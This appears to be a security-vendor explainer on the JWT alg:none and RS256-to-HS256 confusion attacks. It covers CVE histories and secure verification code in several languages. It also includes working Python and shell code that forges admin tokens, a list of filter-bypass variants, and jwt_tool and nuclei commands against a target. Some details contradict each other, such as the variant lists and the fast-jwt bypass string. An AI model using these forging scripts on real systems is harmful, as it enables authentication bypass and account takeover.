Changes the algorithm header to 'none' to produce an unsigned token accepted by vulnerable libraries that trust the header's algorithm claim.
TL;DR
alg:none tells vulnerable libraries to accept any payload without verifying the signatureNone, NONE, nOnE, nonE, none with leading space) bypass lowercase string-match filtersalgorithms=["RS256"] allowlist; never trust header.algThe alg:none attack exploits a fundamental design flaw in JWT libraries that treat the alg header field as authoritative. RFC 7515 (JSON Web Signature) defines alg: "none" as a valid algorithm identifier meaning "unsecured JWS" — a JWT with no integrity protection. Libraries that implement the full RFC without restricting which algorithms they will accept at verification time are exploitable: an attacker changes the header's alg to none, removes the signature, and sends the token.
This is CWE-347 (Improper Verification of Cryptographic Signature) — the library does perform a "signature check," but the check degenerates to accepting an empty value when alg is none. The vulnerability is categorized under OWASP A02:2021 (Cryptographic Failures) because the root cause is a failure of cryptographic controls, not just a misconfiguration.
CVE-2015-9235 in jsonwebtoken (Node.js, CVSS 9.8) was the first widely-publicized disclosure of this class. The auth0/node-jsonwebtoken library version prior to 4.2.2 accepted tokens with alg: none regardless of the algorithms option. Multiple CVEs followed in other ecosystems: CVE-2016-5431 (python-jose), and others. The pattern re-emerged in CVE-2026-34950 (fast-jwt, CVSS 9.1) where a security patch using regex matching was bypassed via leading whitespace.
The attack flow has three steps: decode the original token, modify the header and payload, strip the signature.
Step-by-step Python implementation:
import base64, json
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def b64url_decode(s: str) -> bytes:
s += '=' * (4 - len(s) % 4)
return base64.urlsafe_b64decode(s)
# Original token (split into 3 segments)
original = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE_HERE"
parts = original.split(".")
# Step 1: decode original payload
payload = json.loads(b64url_decode(parts[1]))
print("Original payload:", payload) # {"sub": "user123", "role": "user", ...}
# Step 2: craft malicious header — alg:none
malicious_header = {"alg": "none", "typ": "JWT"}
# Step 3: modify claims
payload["role"] = "admin"
payload["exp"] = 9999999999 # far future
# Step 4: re-encode without signature
new_header = b64url_encode(json.dumps(malicious_header, separators=(',',':')).encode())
new_payload = b64url_encode(json.dumps(payload, separators=(',',':')).encode())
forged_token = f"{new_header}.{new_payload}." # empty signature segment
print("Forged token:", forged_token)The resulting HTTP request:
GET /api/admin/dashboard HTTP/1.1
Host: vulnerable.example.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.
Note the trailing dot — the empty signature segment. Some servers strip the dot; test both header.payload. and header.payload variants.
| Variant | alg value | Bypass target | Notes |
|---|---|---|---|
| Classic | "none" | Default-insecure libraries | CVE-2015-9235 pattern |
| Capital N | "None" | alg.toLowerCase() == "none" | Lowercase-only filter bypass |
| All caps | "NONE" | Same | |
| Mixed case | "nOnE" | Same | |
| Mixed 2 | "nonE" | Same | Auth0 historical bypass |
| Leading space | " none" | Regex /^none$/ filters | CVE-2026-34950 fast-jwt bypass |
| Trailing space | "none " | Same | |
| Algorithm list | "none/HS256" | List-aware parsers | Some implementations take first value |
The algorithm confusion variant does not use alg:none but is structurally related. The attacker changes alg from RS256 to HS256 and signs the token using the server's public RSA key as the HMAC secret. The server, trusting the header's alg field, verifies HS256 against the same public key — and accepts the token.
# Fetch server's public key from JWKS or TLS
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pubkey.pem
# Forge HS256 token using public key as HMAC secret
python3 /opt/jwt_tool/jwt_tool.py "$JWT_ORIGINAL" -X k -pk pubkey.pem -I -pc role -pv adminThe critical difference: alg:none requires no key; RS256→HS256 requires the public key (which is not secret). Both are defeated by the same fix — an explicit algorithm allowlist.
CVE-2022-21449 affected Java SE 15-18. The JCA ECDSA verifier accepted a signature with r=0 and s=0 as valid for any message and any key. A forged JWT with a blank ECDSA signature (sig = "AAAA...AAAA" where the encoded r and s are both zero) passed verification on Java 15-18 regardless of payload content. This is the most severe alg confusion class: no header change is needed, the signature is just blanked to zero values.
# Psychic Signature — ECDSA with r=s=0
import base64
zero_sig = base64.urlsafe_b64encode(b'\x30\x06\x02\x01\x00\x02\x01\x00').rstrip(b'=').decode()
psychic_token = f"{header}.{payload}.{zero_sig}"
# On Java 15-18 with JCA ECDSA, this token passes signature verificationCVE-2015-9235 — jsonwebtoken (CVSS 9.8)
The auth0/node-jsonwebtoken library prior to version 4.2.2 accepted tokens where alg was set to none. An attacker could sign any payload with an empty signature and the library would return the decoded payload as verified. This affected every Node.js application using the jsonwebtoken npm package — one of the most widely-used authentication libraries in the npm ecosystem. Fixed by requiring an explicit algorithms option.
CVE-2026-34950 — fast-jwt Algorithm Confusion Re-enable (CVSS 9.1)
fast-jwt originally patched CVE-2023-48223 by rejecting tokens with alg: "none" via regex. The 2026 bypass submitted HS256 (leading space) as the algorithm value. The regex /^[A-Z]+\d+$/ failed to match due to the space character, and the library fell through to its default behavior — accepting the header's algorithm claim. Users who had patched CVE-2023-48223 were silently re-vulnerable on affected fast-jwt versions.
CVE-2022-21449 — Java Psychic Signatures (CVSS 7.5) All Java applications using the JCA ECDSA verifier on Java SE 15, 16, 17, and 18 were vulnerable. A blank ECDSA signature (r=0, s=0) passed verification for any message and key. Discovered by Neil Madden, published April 19, 2022. Fixed in the Oracle April 2022 CPU update. Applications using java-jwt, nimbus-jose-jwt, or jose4j on affected JVMs were all exposed without any library-level fix — the vulnerability was in the JVM itself.
CVE-2016-5431 — python-jose (CVSS 9.8)
python-jose before version 0.5.6 called jwt.decode(token, key, algorithm=header.alg) — reading the algorithm from the token header rather than requiring the caller to specify it. Setting alg: none bypassed all signature verification. The pattern of passing algorithm= from the header rather than from a server-controlled allowlist recurs across library CVEs in every language ecosystem.
HackerOne #838572 — SaaS Platform alg:none Bypass
A $2,000 bounty finding on a SaaS authentication service. The application used a JWT library configured with an RS256 algorithm, but the library still accepted alg:none tokens because the version predated the fix for CVE-2015-9235. The reporter modified their user token to claim role: "admin" and accessed the admin panel. The vendor patched by upgrading the library and adding an explicit algorithms: ["RS256"] check.
python3 -c "import base64,json,sys; h=sys.argv[1].split('.')[0]; print(json.loads(base64.urlsafe_b64decode(h+'==')))" "$TOKEN"python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -X a -np-X a flag tests the alg:none attack; -np skips playbook mode.# Encode new header with alg:none
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
# Keep original payload or modify claims
PAYLOAD=$(echo "$TOKEN" | cut -d'.' -f2)
echo "${HEADER}.${PAYLOAD}."none, None, NONE, nOnE, nonE, none (leading space), none (trailing space), none/HS256.jwt_tool playbook mode tests alg:none and RS256→HS256 in sequence:
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -M pb -np -url "https://target.com/api/protected"Burp JWT Editor extension:
nuclei template for alg:none:
nuclei -u https://target.com -t http/misconfiguration/jwt-none-alg.yaml -vBreachVex detects alg:none through structural token testing: it generates all 8 case variant tokens, sends each to a previously confirmed authentication oracle (established with a triple-baseline check — valid token, no token, and garbage token), and verifies acceptance by comparing the response body to the legitimate authenticated baseline. A confirmed finding requires a 200 response with user-specific data matching the payload's sub claim.
import jwt
from jwt.exceptions import InvalidAlgorithmError
# BAD — reads algorithm from token header (trusts attacker input)
def verify_bad(token: str, key: str) -> dict:
alg = jwt.get_unverified_header(token)["alg"]
return jwt.decode(token, key, algorithms=[alg]) # attacker sets alg=none
# GOOD — server controls the algorithm
ALLOWED_ALGORITHMS = ["RS256"] # explicit; never include "none"
def verify_good(token: str, public_key: str) -> dict:
return jwt.decode(
token,
public_key,
algorithms=ALLOWED_ALGORITHMS,
options={"require": ["exp", "sub", "iat"]}
)const jwt = require('jsonwebtoken');
// BAD — no algorithms option: jsonwebtoken < 9.0 trusts header
const payload_bad = jwt.verify(token, secret);
// BAD — algorithms omitted in newer versions still dangerous if library has CVEs
const payload_bad2 = jwt.verify(token, secret, {});
// GOOD — explicit allowlist, never include 'none'
const payload_good = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // RS256 for distributed; HS256 for single-service
issuer: 'https://auth.example.com',
audience: 'api.example.com',
});import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.JWTVerifier;
// BAD — creating verifier without algorithm check
JWTVerifier verifier = JWT.require(Algorithm.none()).build(); // NEVER do this
// GOOD — RS256 with explicit public key
RSAPublicKey publicKey = loadPublicKey(); // from secure key store
Algorithm algorithm = Algorithm.RSA256(publicKey, null);
JWTVerifier verifier = JWT.require(algorithm)
.withIssuer("https://auth.example.com")
.build();
DecodedJWT jwt = verifier.verify(token);If your JWT library accepts alg:none tokens, every token in your system is forgeable. The attack requires no key material, no network access to the server, and takes under 10 seconds with jwt_tool. Treat any library that does not require an explicit algorithms= parameter as unfit for production authentication.
The alg:none attack sets the JWT header's alg field to 'none', producing an unsigned token with an empty signature segment. Libraries that trust the header's alg claim skip signature verification entirely, accepting any payload as valid. CVE-2015-9235 (jsonwebtoken, CVSS 9.8) was the first widely-publicized disclosure; the attack class persists across library ecosystems.
Eight case variants are actively tested: none, None, NONE, nOnE, nonE, NoNe, nONE, noNe. Additionally, whitespace variants bypass regex-based filters: ' none' (leading space), 'none ' (trailing space), 'none/HS256' (algorithm list). CVE-2026-34950 in fast-jwt was exploited via leading whitespace on patched versions of CVE-2023-48223.
Yes. alg:none removes the signature entirely — no cryptographic check occurs. RS256→HS256 confusion still performs a signature check, but uses the publicly-known RSA public key as the HMAC secret. Both bypass authentication, but through different mechanisms. alg:none requires no key material; RS256→HS256 confusion requires obtaining the server's public key.
CVE-2015-9235 (jsonwebtoken Node.js), CVE-2016-5431 (python-jose), CVE-2018-1000531 (jwcrypto), and many others. The pattern consistently recurs: libraries that implement generic JWT parsing without enforcing an algorithm allowlist at the verification step. Modern versions of PyJWT, jsonwebtoken 9+, and java-jwt all require an explicit algorithms parameter — but misconfigurations persist.
CVE-2026-34950 in fast-jwt re-enabled the alg:none class on patched versions. The original CVE-2023-48223 patch used a regex to reject 'none', but the 2026 bypass used a leading whitespace character — ' HS256' — to defeat the regex. This pattern illustrates why string-matching security patches are fragile: any edge case in the match expression becomes a bypass vector.